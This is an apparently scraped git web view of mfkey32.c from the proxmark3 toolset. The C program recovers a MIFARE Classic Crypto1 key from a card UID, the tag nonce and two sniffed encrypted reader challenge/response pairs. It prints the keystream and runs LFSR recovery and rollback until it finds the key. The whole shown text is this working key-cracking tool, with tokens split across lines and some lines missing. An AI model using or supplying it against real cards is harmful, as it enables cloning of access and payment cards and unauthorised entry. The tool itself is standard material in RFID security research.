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git.zerfleddert.de Git - proxmark3-svn/blob - tools/mfkey/mfkey32.c
1 #define __STDC_FORMAT_MACROS
11 int main (int argc
, char *argv
[]) {
12 struct Crypto1State
*s
,*t
;
13 uint64_t key
; // recovered key
14 uint32_t uid
; // serial number
15 uint32_t nt
; // tag challenge
16 uint32_t nr0_enc
; // first encrypted reader challenge
17 uint32_t ar0_enc
; // first encrypted reader response
18 uint32_t nr1_enc
; // second encrypted reader challenge
19 uint32_t ar1_enc
; // second encrypted reader response
20 uint32_t ks2
; // keystream used to encrypt reader response
22 printf("MIFARE Classic key recovery - based 32 bits of keystream\n");
23 printf("Recover key from two 32-bit reader authentication answers only!\n\n");
26 printf(" syntax: %s <uid> <nt> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>\n\n",argv
[0]);
30 sscanf(argv
[1],"%x",&uid
);
31 sscanf(argv
[2],"%x",&nt
);
32 sscanf(argv
[3],"%x",&nr0_enc
);
33 sscanf(argv
[4],"%x",&ar0_enc
);
34 sscanf(argv
[5],"%x",&nr1_enc
);
35 sscanf(argv
[6],"%x",&ar1_enc
);
37 printf("Recovering key for:\n");
38 printf(" uid: %08x\n",uid
);
39 printf(" nt: %08x\n",nt
);
40 printf(" {nr_0}: %08x\n",nr0_enc
);
41 printf(" {ar_0}: %08x\n",ar0_enc
);
42 printf(" {nr_1}: %08x\n",nr1_enc
);
43 printf(" {ar_1}: %08x\n",ar1_enc
);
45 // Generate lfsr succesors of the tag challenge
46 printf("\nLFSR succesors of the tag challenge:\n");
47 printf(" nt': %08x\n",prng_successor(nt
, 64));
48 printf(" nt'': %08x\n",prng_successor(nt
, 96));
50 // Extract the keystream from the messages
51 printf("\nKeystream used to generate {ar} and {at}:\n");
52 ks2
= ar0_enc
^ prng_successor(nt
, 64);
53 printf(" ks2: %08x\n",ks2
);
55 s
= lfsr_recovery32(ar0_enc
^ prng_successor(nt
, 64), 0);
57 for(t
= s
; t
->odd
| t
->even
; ++t
) {
58 lfsr_rollback_word(t
, 0, 0);
59 lfsr_rollback_word(t
, nr0_enc
, 1);
60 lfsr_rollback_word(t
, uid
^ nt
, 0);
61 crypto1_get_lfsr(t
, &key
);
62 crypto1_word(t
, uid
^ nt
, 0);
63 crypto1_word(t
, nr1_enc
, 1);
64 if (ar1_enc
== (crypto1_word(t
, 0, 0) ^ prng_successor(nt
, 64))) {
65 printf("\nFound Key: [%012"llx
"]\n\n",key
);